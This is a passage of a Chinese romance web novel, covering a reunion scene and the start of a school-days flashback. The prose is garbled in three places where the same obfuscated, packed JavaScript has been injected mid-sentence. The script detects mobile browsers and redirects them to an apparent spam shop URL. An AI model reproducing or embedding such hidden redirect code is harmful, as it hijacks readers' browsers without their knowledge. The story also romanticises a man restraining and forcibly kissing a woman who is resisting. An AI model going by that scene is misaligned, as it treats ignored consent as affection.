李芳笑起来,将茶几上的水果往江砚面前推了推:“来,既然都到老师家了,就不要客气。” 江砚盛情难却,索性拿过一个橙子握在手中。 “虽然这么说可能会显得老师有些不解人情,但是我还是想问,来找我是有什么事吗?” 李老师看似随和,实际上江砚有心事这一点却能看得出来。 “……我高中有早恋吗?”江砚斟酌着问出一个困惑他已久的问题。 李老师先是愣住,然后才哈哈笑了起来:“你说你这孩子怎么会问出这么一个问题。” 她笑完意识到面前的这个男生可不像是会开这种玩笑的人,于是她答道:“你早没早恋老师我不可能知道,如果知道的话,那是不是有点不大好对吧?” 江砚手心干燥,摸索着那个橙子,期待落空的感觉并不好受,他已经默认这一次将是无功而返。 李芳留江砚吃了早饭,途中,她见对面安静吃饭的男生,突然道:“其实当年二十一班同学中,就属你和三好给我留下的印象最深。” 江砚手指一动,不露声色地问:“为什么?” “还能是因为什么?因为你们俩的性格呗。” “你当年那性格又冷又傲,搁那儿一站,想忽略都难,而三好那孩子只是冷在心里,外表看着又乖又听话,实际上也很有韧劲……给我的感觉就是——”李芳停顿琢磨着用词,“很孤独,你们俩那段时间真的很孤独……所以我还有点担心你们。” 她意识到自己将话题搞得有点悲伤,李老师笑笑:“不过现在看到你们都很好,老师我就满足了。” 江砚安静片刻,放下手中的筷子,问对面的人:“老师,你知道她的真名叫程三好?” “我也是后来才知道的,”李芳不知他问这句话的意思,“小姑娘人家可不像你,这几年时不时都会来看望我,一来二去我就知道了。” 江砚恰到好处地露出一个愧疚的笑容,一颗心却莫名地越跳越快,他稳住嗓音又问:“那您知道当时二十一班合照上为什么没她的身影吗?” 李芳仰头想了想,然后才说:“哦,这件事……我记起来了,当天那孩子生病了,请假,所以就错过了班级大合照。” “话说你接二连三问的事都是关于程三好的,”李老师神情揶揄,“不会是还喜欢人家吧?” 【不会是还喜欢人家吧】 李老师的后一句话宛若一记重锤结结实实地砸到了江砚的脑袋上,力道之大,让他产生了眩晕。 有好长时间,他丧失了对外界的感知能力,只有心脏发出的扑通扑通声,以及这种震动带动周身的脉搏一起跳动的感觉。 无论是指尖、眼睛还是双腿,他都能感受到那种让人灵魂完全共鸣的震动,是如此澎湃,如此激烈。 凶猛的海浪拍打着礁石,一阵接一阵,生生不息。 “……没事吧?” “江砚,这是突然怎么了?别吓老师我啊。” 李芳见前面的男生视线放空,身体还在不自觉地发抖,连忙追问。 江砚手心发烫,他也知道自己身体正在发出亢奋的那种颤栗,他完全控制不了一点,只能尽量放稳声线:“我没事,就是没想到老师你连这也看得出来……我的确还喜欢她。” 男生顶着那么张冷脸搞纯爱,让李老师信以为真:“那你得加把劲了,这么些年也没个动静,等人家哪一天结了婚,你再后悔也来不及了。” 江砚将橙子重新放到了茶几上,十指交叉说:“老师说的对。” 二人接下来又聊其他琐事,江砚帮忙收拾桌面,把碗筷之类的放进水槽,顺带着就洗干净了放进碗柜,才对李芳说:“那我下次再来拜访你,我先走了。” “哎,好的。但是不要再带这么贵重的礼物了哈,要不然老师可不放你进来。”李老师指了指门边放着的礼物说道。 江砚点头:“好。”说着他伸手打开门,扭头冲这位真的特别亲切的老师说,“你不用送,好好休息,注意身体,如果有需要,让你的儿子打我刚才给他的一张名片上的电话。” “哎好,路上小心,开车也慢一些。” 李芳的鬓角已经有了几缕白发,她现在站起来,江砚才发现她的背也已经有了佝偻的趋势。 他收回目光,正要踏步出去,忽然听到李芳叫他:“江砚,先等等,我想起来有一样东西要交给你。” 男人收回脚,转过身体,站在门边等。 没几分钟,李芳从卧室出来,手中拿着一本书。 他以为对方是要赠书与他,没想到李老师到了跟前,却抽出了书页中夹着的一张白纸。 白纸发黄,留下岁月的痕迹。 李芳握着这小张单薄的纸片,要努力抬头,才能看到高大的男人。 “差点忘了,来这张纸条给你。”她向前伸手。 江砚疑惑,接了过来,看清上面写的字一瞬间,整个人如遭雷劈,怔忡地站在原地,迟迟没有动,连眼睛都没有眨一下。 那张纸条还没有一张书签大,却重得犹如有千斤。 【我很好,别担心。】 【江砚……你的电话,我打不通,如果你看到这张纸条,请一定要联系我,电话xxx】 纸条的正面和反面分别写着这么两句话,江砚吞咽困难,他定定地看着背面女生写的那几行字,像是一瞬间不认识字了一般,大脑持续宕机。 李芳不知男人此时心里是怎样的惊涛骇浪,她解释:“当年你要离开淮市一中去津市的时候,给了我这一张纸条,说是如果三好来找我的话,就把它给女生……后来她就真的来了。” “她找到了我,我给了她,她又在纸条的背面写了你看见的那几行字交给我,也说,如果你来找我的话,就把纸条给你……” 说到此处,李老师感慨万千:“我本来都忘了的,但是今天你一来,我才想起了纸条这件事。” “本来以为这张纸条将永远留在了我这里,没想到有些时候,缘分就是这么奇妙,你果然来找我了,然后我将它给到你……” 江砚突然用空出来的另一只手捂住自己的脸,他紧闭双眼,嘴唇压成一条直线,侧脸绷紧。 李芳见状,拍了拍自己学生的胳膊,没有说话,给他空间和时间来消化这些信息。 …… 重新回到车里,江砚冷静了一些,他手心摊着那张纸条。 垂目看着,半晌,他将其珍重地放到自己的钱包里。 单手握着方向盘,一边倒车一篇拨通江邱的电话。 “程三好今天在片场吗?” “没在,天气因素,外景拍不了一点,张导叫上几个主演去聚餐了。” 江砚看了一眼后视镜,驾驶车子平稳地上了高速。 “地址发我。” 电话挂断,江砚单手将手机搁在一旁,提档加速,踩着限速的码,一路上基本没有休息开进了市里。 他按照江邱发来的定位,去到了某个餐厅,推开包厢门时,里面却没有想见的人。 席间很安静,张导率先反应过来,急忙站起身:“江总……我听江秘书说你去外地了,还以为你不来参加我们的聚会了呢。” 江砚胸膛微微起伏,那是因为刚才他走得急的缘故。 他没进去,就站在门边问:“程三好呢?” 张导摸着头:“说是感冒了,可能要晚点到。” “嗯。”男人应声。 张导摸不清这位大佬心里又在想什么,他好不容易工作之余与大家伙儿聚个餐,结果顶头上司后脚就来了。 他伸手,是个欢迎的姿势:“先里面坐吧,江总,也不知你找她有什么事,但是好多人都还没有到齐,可以先坐在凳子上等。” 江砚没动,只是说:“不用在乎我,你们想怎么玩就怎么玩,所有消费我买单。” “哦哦哦……” 刚才安静的包厢立马热闹起来,有些胆子大一些的直接起哄:“江总万岁!” 大家也跟着他一起说:“江总万岁!” 张导嘴都要笑裂了,刚才的忐忑一扫而空:“让我们说谢谢江总!” “谢谢江总!”众人齐声道。 张导乐呵呵,再度邀请:“江总快快入座。” 江砚这一次唇角明显上扬了些:“我有事——” “就是吃个饭的功夫,总要腾出来的嘛。” 江砚反正都是等人,索性就不再推辞。 因为他大方买单这一点,大家对他的好感直升,渐渐地就敞开了心的交流。 江砚坐下没几分钟,就又掏出钱包中的那张纸条。 他手指摩挲着纸条背面的那一串电话号码,不知过了几秒,他倏地站起身,打开包厢的门去到外面走廊。 背靠着墙壁,他掏出手机,输入了那一串电话号码,却迟迟没有按下去。 意识到自己在紧张,江砚自嘲地笑了笑,下一秒果断地打了过去。 就在这时,电梯门叮的一声,从两侧打开。 电话铃声没响几秒,就被人接通了。 “喂……” 听筒里的声音和现实中传来的声音几乎毫无差池地重叠在一起闯进了江砚的耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333832|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他握着手机的手心都是汗,不可置信地看向不远处。 女生里面穿着针织咖色连衣裙,外面一件羽绒服,戴着黑色口罩,黑色镜框眼镜,步伐悠悠,正举着手机朝这里走来。 【这是谢礼】 【我担心有人埋伏你】 【埋伏?】 【江砚,我要转学了。】 【别哭……记得打我电话】 【……】 当江砚看到程三好这一副装扮时,那个在他脑子里总是被一团白雾蒙住脸的女生在此刻明了,所有的回忆串成一条线,在此刻完成了闭环。 程三好刚出电梯,就接到了一个陌生来电,但是对方又不说话。 她正疑惑要不要挂断,抬眼看前方时,看到不远处倚墙而站的男人,她只当没看见,低头按灭手机,下一秒忽然就被人拉着手腕强行带入了隔壁包厢。 “江砚,你放开……” 她挣扎着,却被江砚一下按在了门上,甚至来不及反应,口罩被摘,男人的唇就贴上了她的。 吮吸,舔舐,不给程三好拒绝的机会。 她大脑空白了一秒,两只手分别被江砚强势地十指相扣抵在门上。 她刚费力地挣扎抬起一厘米,立马就会被强行按回去。 两手放于身侧的这个姿势,让她身体毫无保留地和江砚贴在一起。 程三好怒极,强行将头撇过去。 “放……唔……” 然而留给她哪怕呼吸的时间都没有,她再度被掠夺,甚至对方为了让她完全动弹不了,江砚一只手将她的两只手腕轻而易举地压制在身前,另一只手捏着她的下巴强势地抬高,让她更好地与自己接吻。 这是程三好的初吻,一个只有掠夺,没有温柔的吻。 恍惚中,她无数次产生一种错觉,好像身前的男人要将她拆吃入腹一般,又急切又不断地深入。 时间之长,长到她缺氧,眼角发红。 察觉到贴着的身体一点点在发软,江砚大发慈悲地往后退了一点,给女生喘息的机会。 他的脸离女生那般近,低垂的眼帘下藏着呼之欲出的情、欲。 手指揩过女生绯红的眼角,抹去一滴生理性溢出的眼泪。 他盯着女生因为他的亲吻而变得饱满红润的嘴唇,又克制不住地低头贴上去。 这一次他没有掠夺,他在安抚,只停留在表面细细地抚慰。 程三好恢复了一点体力,她又试着挣脱男人的束缚。 “砰——” 双腿被强势地分开,男人的膝盖顶在她身后的门上发出响声。 这个姿势让他们贴得更近,更加羞耻,程三好皱眉,还未侧过脸,又被抓着亲了一通。 女生根本不会换气,眼见她又要缺氧,江砚暂时离开了她的嘴唇,却又亲上了她的耳朵,边亲还边说:“这回亲乖了吗……乖了的话,接下来好好听我说话。” 男人说着,放开程三好双手,将人抱在怀里。 “……虽然这么说有些操蛋,但我当年回津市路上的确遭遇了车祸,醒来以后就丢了高一的记忆……医生说是因为大脑中有一块淤血压迫神经导致的,他们也没有办法,而我只要强行回忆就会流鼻血。” 江砚收紧手,目光晦暗:“我不是故意要忘了你的……重逢后虽然我没有了记忆,但我还是重新喜欢上了你,随之而来的就是我能回忆起来的东西越来越多,我有点不知道该怎么做了,生怕你不是她。” “但是当我拿到那张纸条的一瞬间,你知道我是怎么想的吗?” 周遭安静一瞬。 “原来是你……程三好。”他话里带着笑意,嗓音低低的。 程三好怀疑自己的脑子出问题了,半天都是懵逼的状态。 男人看着她的表情,突然将脑袋搁在女生的肩颈上,呼吸间全是女生的味道:“哈啊……这种感觉你知道吗?” 江砚闭了一下眼睛:“要疯了……” 这间包厢没有开主灯,只有辅灯,淡淡的暖金色,可以看清屋内的陈设,但是不明亮。 包厢隔音很好,整个房间内彼此的呼吸可闻。 程三好于是就更能察觉到江砚越来越重的呼吸声,那呼吸声落在她的耳朵里,让人脚趾抓地。 她推了推人,语气还算平缓:“先放开,有什么话待会儿再说行吗?” 谁料男人这时张嘴含着她的耳垂,本来女生的耳朵就红,经此行为,整个脖子都红成一片。 喜欢是这种感觉吗?不,不仅仅是喜欢。 江砚胸口像是被辛辣的酒浇灌,不断地刺激释放灼烧感,一度让他口干舌燥,头皮发麻。 灵魂深处,有什么东西在叫嚣,久久没有散去。 他情难自抑,忍不住又亲了下人的侧颈。 女生切身感受到某人身体的变化,她绷着唇,开始缩着身体,想要将自己变小。 江砚蓦地闷闷笑了一声,气息喷洒在怀里人的细颈,然后就着这个位置将女生抱了起来。 程三好为了不摔倒,急忙伸腿盘住他的后腰。 男人抱着人走得很稳,他将女生抱到一张桌子上,再欺身压近,双手撑在女生身体的两侧桌面上。 “以前我从不信命运之说,但是遇见你之后突然觉得——” 现在这个角度,程三好可以清晰地看见江砚的眼睛,那眼神深邃,温柔,笑起来的瞬间宛若桃花盛开,春风拂面,叫人滴酒未沾,却仿佛醉了。 “我们可能就是命中注定,无论时间如何飞逝,空间如何转换,我想,我都会重新爱上你,并与你相爱……” 江砚伸手抚摸女生的脸,笑着,嗓音温和:“这也许是老天给的缘分……” 74. 入水(校园) 七年前,津市郊区某个墓园。 大雨倾盆,天空灰暗,这天的雨水似乎格外地重,拍打着树叶,敲击着地面,发出连绵不绝的滴答声音。 一座夫妻合葬的墓碑前,乌压压地跪着一群身穿黑色衣服的人。 为首的两个人分别是江全驰和江砚,没有任何一个人打伞。 雨水顺着江砚的脖颈滑进挺直的脊梁,少年脸色平静,像是对冰凉刺骨的寒意不知所觉。 目光落在前方,墓碑下藏着的人正是他的父母。 他们是两个出色的地质学家,在江砚中考完后不久,因出门采集样本突发地震不幸身亡。 而就在出发的前一晚,一家三口还约定好,等江砚的中考成绩出来以后,就带他去外国某个大师的摄影展。 现在分数出来了,全市第一,但是想要分享喜悦的人却不在了。 江全驰最近几年身体越发不好,年轻时疯狂应酬,通宵工作所有的不良习惯,随着人机体的衰老渐渐暴露出弊端。 只是在露天雨幕下待了片刻,他就忍不住咳嗽起来,寥寥几声,身体就要散架一般。 江砚没有哭,他抹了一把眼睛上的雨水,径直站起来,然后去搀扶自己的爷爷。 爷孙俩并肩而立,他们侧脸轮廓很相似,棱角分明,折叠度高。 二人都没有说话,就像强者之间无声的默契——他们并不需要所谓语言上的安慰,悲伤有时,一切都是徒劳。 从墓园回去后,江老爷子不出所料地病倒了,公司所有的决策权一下子全交到了江权清手中。 他将公司治理得很好,董事会的各个股东对他皆是赞不绝口,而江砚则是几乎日以继夜地寸步不离江老爷子,守在他的床边照顾他。 然而没等到自己爷爷好起来,反而等到了他病情加重,甚至中风瘫痪在床的噩耗。 吃喝拉撒都需要人帮忙,连最基本的开口说话也完全丧失了。 他认为是这一家医院的医生有问题,还求助了小姨许琪的妈妈,然而尽管转院进入另一家私人疗养院进行治疗,江全驰的情况依旧没有好转,反倒他到了该入学的时候了。 他的二叔找到他,神情温和:“小砚,江家的企业未来终究还是要你来扛,虽然这么说有一些残忍,但是你必须尽快成长……” “所以我打算送你去外地读书,可以好好锻炼自己,磨练自己的心志。” 江砚当时就站在爷爷的病床前,挺直腰背,面容平静:“不了二叔,我去外地读书的话,放心不下爷爷,所以我就在市里读书就好了……我会好好学习,不给你添麻烦的。” 江权清向前走了几步,拍了拍侄子的肩膀,目光慈爱:“想要迅速成为一位肩能扛事的成年人少不了要多去外面历练历练,那地方虽然经济是比我们津市这个地方落后些许,但二叔又不是让你去吃苦,只是让你见见外面的世界,未来你一定会感谢今天二叔我这个决定的,至于你爷爷——” 江权清笑了:“他是我爸,我能不好好照顾好他吗?你在担心什么?” 江砚垂下目光,眼里情绪不明,说:“……我相信二叔,的确没什么好担心的。” “这就对了嘛。”中年男人将手从男生肩膀上收回来,一副为侄子着想的语气,“你放心,那边我都全部打理好了,你就尽管去好好读书就行。如果实在是不习惯,你跟二叔说,我立马派人将你接回来,咱们主打的就是一个体验。” “因为如今形势严峻,巨大的集团突然之间没有了主心骨,必定会陷入混乱,趁此机会,你也可以出去避避风头,其他的就交给二叔。” 江砚这才抬眼看向前面的人,对着他信任地点了点头说:“好,我都听二叔你的。” 于是在下午,江砚坐进了车里,被送到了千里之外的淮市一中就读。 — 高一新生入学这一天,艳阳四射,温度宜人。 因为学校采取的是完全封闭的教学,所以在今天,除了报道这一重要的事情之外,最主要的就是找到自己的寝室,并买好被褥以及各种生活用品。 今天以后再想自由地出校门是不可能的,程三好刚配眼镜不久,她又有鼻炎,只能靠戴着口罩来缓解不适。 学校北门口挤满了学生和家长,人群哄闹,天气也变得有些炎热。 她背着书包独自站在绿荫道上,低头看着手中那张学校建构分布示意图。 这地方完全是第一次来,而且出乎她意料的是,学校比普通高校规模宏大很多。 她找了半天,才找到自己的宿舍楼。 淮市一中的学生男宿舍和女宿舍是分别独立的两栋楼,但是楼与楼之间出口的位置是相连在一起的。 推开玻璃门进去,正面挂着一个巨大的屏幕,上面滚动着红色的楷体字,标题是:欢迎高一新生,下面写着很长的一段话,大概意思就是虽然欢迎你们来我们这所学校读书,但是也要遵守相关校纪校规,努力拼搏,展望未来…… 左手边空出来的一个小房间就是值班室,管理人员基本上是有点文化但不多的中年妇女。 而程三好所站着的这个T形区域,左方进去就是男生的宿舍,右手边就是女生的宿舍。 因为程伟国他们借口说没有时间陪她来,她也如愿以偿地获得了一部人生中第一个智能手机。 学校是不允许带智能手机的,但是今天例外。 她确认了一遍手机上学校发给她的短信中的信息,一路走步梯爬了四楼,找到门牌号是四零四的宿舍推了进去。 里面已经来了两个人,她们的妈妈正帮着铺床。 程三好找到贴有自己名字的床位,宿舍是七人间,四张双人床分为上下铺。 她觉得还挺幸运的,因为她是下铺。 将书包放下,她就抓紧时间下了四楼,去到外面买生活用品。 因为一个人拿不了多少,所以她分为好几趟,一顿忙活下来,身上出了一点汗,医用蓝色口罩下的脸蛋红扑扑的。 整理好一切后,她去到教学楼,找到高一二十一班教室。 老师还没来,里面闹哄哄的,大家彼此都不熟悉,但不妨碍他们交流,因为好奇反倒话题多了很多。 刚开学,座位都是乱坐的,她径直走到教室后面,选了一张靠墙的桌子。 课桌凳子全是实木的,阳光照在上面,泛着金色的光。 前面的女同学转过身,她们互相告知了名字。 程三好有些社恐,手指都是汗,说话的声音也不大。 女同学见状,问她:“你平时性格是偏外向还是内向?” “……应该偏内向吧,我不怎么喜欢说话。” “看得出来。”女同学人看上去就是那种活泼开朗类型的,总是说了没几句话就就笑起来,还特别自来熟。 她好奇:“你不闷吗?戴着口罩。” 程三好眼镜下的眼睛弯了一下:“我有鼻炎,这样戴着舒服一些……” “啊,这也太可怜了吧,我心疼你三秒钟~” 女同学的表情很逗,女生情不自禁地笑了出来。 “虽然你戴着口罩,但我敢打赌,口罩之下一定是一个美女!” 校园内,学生们有自己的“商业互吹”。 程三好推了一下镜框:“你也长得很漂亮。” “是吗?我也这么觉得哈哈。” 二人肉眼可见地亲近了一些,交谈的过程中,教室后门走进来一个男生,身量颀长,走路带风。 与此同时,前门处拿着几张a四纸的班主任也到了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368196|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,同学们,都安静一点。” “我知道你们的心情此刻是非常雀跃的,我也非常能理解,但是现在,请安静……” 女人将手中拿着的名单拍在讲桌上,双手撑在桌面,抬头看着下面的学生。 还在乐此不疲说着话的女同学猛地闭嘴,转过了身,程三好也将前倾的身体往后退退,双手交叠放在桌上。 就在这时,双人桌的旁边位置上甩过来一个书包,在桌面上发出砰的细微声响。 紧接着,一个穿着白t黑裤的男生就坐在了她的旁边。 程三好目不斜视,认真听着前面的班主任说话。 “好,我先自我介绍一下,我叫蒋华,是你们的班主任,同时也是你们的数学老师。我这个人虽然看着严肃,但实在严肃——” 教室内传来阵阵笑声。 蒋华手指敲了敲课桌,神情很严肃:“我这人不开玩笑。” 台下的哄笑声停止了。 “在我这里,成绩才是王道,旁的一概不是,因为高考要的就是一个分数,它将决定你以后的人生命运如何,所以扯什么老师要关心学生,学生要敬重老师之类的,在我这里可以忽略不计。” “只要你成绩好,就是骑我头上骂我都成,但是如果——” 蒋华人长得高知识分子的样子,就是眼睛有些刻薄:“成绩差的话,就别怪我到时候说话难听,尤其是小女生,给我收起那些杂七杂八的小心思,什么打扮化妆,在我这个班是绝对不允许的。” “好了,我今天要说的话就只有这一些,待会儿我会叫人把你们的校服发下去,教材也会在今天领到,在那之前我要先点一个名。” 蒋华拿起讲桌上的一张名单,开口念道“王灿。” 程三好前面的女同学举手答道:“到!” “罗坤。” “到。” 程三好有些意外,刚才那个答到的男生正是王灿的同桌,这才刚开始点名,前两个就是她周围的人,真神奇。 这样想着,下一秒就听讲台上的老师喊了一个名字:“程韵清。” “到!” 两道女生在教室内不约而同地响起。 程三好震惊了,举着的手都有些犹豫。 目光扫向整个教室,发现教室前门旁边的第一张桌子上有个女生也举起了手。 蒋华淡淡地瞥了一眼,却没有说什么,只是念着接下来其他人的名字。 直到再次念到程韵清这个名字时,她才淡淡地说了一句:“看来咱们班有两个同名同姓的人。” 她刚说完,教室里就起了一阵小轰动,蒋华脸色一沉:“有什么稀奇的?” 全班噤声,大气不敢喘。 蒋华却好像还是不满意,她将纸张拍在桌面上发出巨大的响声,言辞犀利:“新生就是这么一点不好,叽叽喳喳,闹闹哄哄的,吵得人耳朵疼,有那点八卦的功夫,不如看书多背几个单词,多写几道数学题,这样下来成绩不好才怪。” “我知道你们这些人都是在原先自己的中学当中属于佼佼者的那种,但是现在聚在一起,比你厉害的随手一抓全是!我们一中不缺天才,只创造天才,只要你们按照我的方式去做,考个一本轻轻松松地不成问题。” 她的脸色很臭,跟谁欠了她八百万似的,但是在教室的这五十二个人当中,他们还没有具备独立思考的能力,或者说还没有经过社会的毒打,识别不出站在讲台上的那个人就是在言语贬低他们。 他们三观还未完全形成,整个人是处在一个被环境影响的一个年纪,看到自己的班主任如此严肃,说话有条有理,而且好像处处都在为他们未来着想,这让他们心中下了一个定论:这就是老师,这是一个好老师。 程三好当时也是这么想着的。 75. 波涛下(校园) 九月份天气还在很热,高一新生们第一周基本不上课的,要军训。 蒋华一直没提要安排座位的事,很多同学便换来换去,每天晚自习坐的位置都不一样,倒是程三好和同桌从第一天起,两人一句话也没有说过,座位也没有换。 偌大的田径场上,散开站着四十个班级,分别在教官的带领下,进行着训练。 头顶的日光毒辣,脚下踩着的塑胶跑道发烫。 程三好他们班正好对着观众席,前面的太阳直直地照着他们,每个人手指夹着裤缝,挺胸抬头,眼睛却一样地几乎睁不开,个个脸上皱成一团。 一中校服是红白款,T恤是珠地面料,设计得很漂亮,且穿起来非常地舒适凉快。 站军姿站了半个小时后,教官终于一吹哨子,声音洪亮:“原地休息十分钟!” 哀嚎声顿时响起一片,几乎没有人傻站着,都软着身体坐到了地上。 程三好盘腿坐着,尽量将自己的呼吸放均匀,不然一个大喘气,眼睛上都是雾。 她垂着头,手按摩着自己的小腿,旁边扎着马尾的女同学忽然道“你叫程韵清是吧?” 程三好按摩的动作一顿,她心里无声地叹了口气,转过身看着人说:“是的。” 女同学剪着短发,手臂上戴着白色的冰感袖套,她指了指程三好脸上,一副难以理解的模样:“你不热吗?怎么还戴着口罩?” “……热。”程三好点头,“不过因为我鼻炎,不太能呼吸空气中的灰尘,所以这样戴着舒服一些。” “哦。”女同学将手收了回去,在空中灵活像条小鱼一样摆动,“那你这病以后会好吗?” “医生说会好的……” “啊。那就好。” 说话的间隙,豆大的汗水无声地从程三好额头滑下,她抹了一把,心里感到焦灼。 接下来还有四天,她都不知道要怎么熬过去。 能产生这么消极的思想,也不怪她,毕竟开学之前,她在某医院住了半个月的院,天天睁眼第一件事就是抽血,然后挂点滴。 看似是在治病,实际上也在变相地摧残了身体,直到今天,那种虚弱劲一直没有缓过来,走了没几步,身体就酸得不像话,呼吸一口就要力竭的那种。 “好了!休息时间到了,赶紧站起来,归队!” “向右——看齐!” “立正,稍息!” “向左转——原地踏步走!” 教官含着口哨,喊出口令:“一二一!一二一!” 同学们便在原地挥着手臂,抬高腿脚在原地踏步。 “左脚先出,手掌半握成拳,前后摆动幅度不要太大,练整齐了咱们再进行下一步,要不然就一直在原地踏步——” 期间有想偷懒浑水摸鱼的,立马就会被教官揪出来,让他站在队伍的前面原地踏步。 一直持续五分钟后,可能大家的步伐一致,整齐了些许,教官一吹口哨,进行到下一步,大声喊道:“齐步走——” 然而队伍一走动起来,瞬间乱成一锅粥,刚才整齐的步伐这会儿全乱套了。 不是没跟上队伍,就是先出右脚又或者同脚同手。 教官脑袋疼,眉头紧皱,冒烟的嗓子再度大声喊道:“都一起喊起来,听口令听口令!” “一二一……” “一二一……” 马上就要到中午了,大家又累又饿,喊起口令来软绵绵的,让人听着就累。 这时他们已经从起点走到了田径场出口位置,程三好瞥了一眼已经朝着食堂狂奔的其他班级,刚要心生羡慕,右脚上的运动鞋突然被后面的人踩到了鞋跟。 出于惯性,她踉跄着向前差点摔倒。 “对不起,对不起……”踩着她鞋的男同学连声道歉。 队伍还在向前走,程三好说了声“没事”,稳住身体跟着向前走。 那只被踩掉的鞋没穿上,她全程趿着走完。 罗坤看着前面的女生。 乌黑发亮的秀发被扎成一个小马尾,衣领下的脖子又细又白,短袖下露出的两只手臂也很瘦且直。 他再度低声说道:“真的非常不好意思。” 前面的人似乎听到了他的话,摇了摇脑袋。 罗坤有些尴尬,视线向下撇,突然看到女生将那只脱落的鞋子后跟折叠向鞋内,穿着白袜的右脚踩在上面,费力地趿着往前走不让它掉落的场景有点惨,有点滑稽。 罗坤扯起一边嘴角莫名地笑了笑。 中午吃饭的时候,食堂人很多,每个窗口都排满了人。 罗坤瞥见人群中戴着蓝色口罩的某个身影,特意走到女生排队的旁边一个队上站着,和她搭话:“喂……” 女生全副武装,看不清脸上的表情,目视前方,动都没动一下。 她的脖子上用蓝色的绳子穿戴着学校给每个学生发的一卡通,有一点像工作牌,明明是一个不能称得上装饰的一个样品,但被她这样戴着,罗坤总觉得有一种别样的味道。 她见女生不理自己,也不生气,直接喊她名字:“程韵清。” 对方这时有了反应,扭头看向她,尽管她戴着黑框眼镜,但还是露出了询问的目光:“怎么了?” “我上午不是踩到你了吗?作为赔偿,午饭我请你呗。”罗坤捏着卡的手在空中挥了挥。 程三好摇头,说:“不用了。” 罗坤被拒绝,只是笑笑,跟着排队的队伍往前攒了攒,时不时地会扭头看女生一眼。 食堂闹哄哄的,她排队的那队同学们,要么和好朋友在打闹,要么在交头接耳,总之站没站资,嘴上还叭叭不停,就女生一眼看过去极其与众不同。 她站得直,丝毫没有驼背的情况,偏偏又不是紧绷着那种,而是浑然天成的,带着一种平静的松弛感。 瞧着很瘦,衣服松松垮垮地套在身上,但是属于女孩子该有的地方,阴影约约还是能明显看得出来的。 罗坤视线落在上面不到一秒,就迅速离开,脑子里不知道在想什么,过了一会儿,突然不自在地挠了一下脑袋。 他排的这个队打饭很快,刷了卡端着不锈钢饭盘,找了一个位置坐下。 吃了没几口,余光瞥到女生也成功地打上了饭,转过身往他的左边走去,坐在了第二排桌子。 罗坤垂下眼睛,似是不在意地吃了几口饭,然后抬起盘子,起身去到了女生的对面坐下。 对方还没注意到他,将筷子码得整整齐齐正微微低头,伸手捏住了耳朵后面的白色细绳,将口罩摘了下来,露出一张白里透红的脸蛋。 罗坤心脏停了一瞬,目不转睛。 他之前从女生脸型,露出来的眼睛眉毛乃至恰到好处的发际线,大概能猜出对方口罩之下长得应该也差不到哪里去,但是没想到,是一个美女。 最起码在二十一班所有的女同学中,大家公认的班花是与前面的女生同名的程韵清,他都觉得没有他此时正前方的这个女生来得漂亮。 她的脸该怎么形容呢,就是又纯又乖。 皮肤白皙且细腻,没有一个毛孔,左右脸对称,没有大小脸的情况。 五官每一个单拎出来很好看,组合在一起更是绝美。 那眼睛黑白分明,眼睫毛又长又直,可爱的鼻头下,红色的嘴唇让人无端联想到占有露珠的红玫瑰,在风中摇曳,待着人采撷…… 程三好将口罩摘下来塞到自己的裤兜里,握着筷子低下头吃饭,察觉到有人在看自己,她吃了一口米饭,抬起头看向对面的人。 男生叫罗坤,就是她前桌的同学。 他在她看过来时,不知道为什么神色慌乱地低下头,整个脸涨红,局促不安的样子。 程三好收回视线,低下头继续吃饭,没有说话,只当对方是遇到了什么尴尬的事情,自己最好不要在这个时候追问。 当然也有她性子比较懒的原因,她懒得说话,懒得去追究,她完全不好奇。 — 而就在他们所处的位置斜上方,刚才发生了一件惊险的事情。 从窗口打到饭的程韵清双手抬着盘子,转过身径直朝前面走去。 谁料走到第一排桌子前面一点时,她脚下打滑,一下就要往后摔去,那样快的瞬间,在场的人几乎还没有看清。 千钧一发之际,程韵清手腕被人抓住,与此同时腰被对方轻轻一揽,她才免于后脑勺直接着地的悲惨遭遇。 她尚且还惊魂未定,拉她的人就已经松开了手。 程韵清整个人都是懵的,她脚底发软,用了好大的力,才挪动自己的脚,让自己离开地上的那摊汤汁,站到旁边干燥的区域。 她的嘴唇都吓白了,渐渐缓过神后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399769|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向刚才帮助她的男生,开口缓慢道:“谢谢……” 对方排在队伍的末端,身体面朝前方,双手插在校服裤袋里,整个人非常冷淡,不像是没听到她的话,更像是没发生刚才的事一样。 漠不关己,置身事外。 他叫江砚,程韵清知道的。 无他,只要是因为男生长得很帅,班上的女生私底下早就讨论过很不遍,没少拿他和班里的其他男生比较,最终得出一个结论,还是江砚帅。 他的那种帅,不近人情。 孤傲,冷倦…… 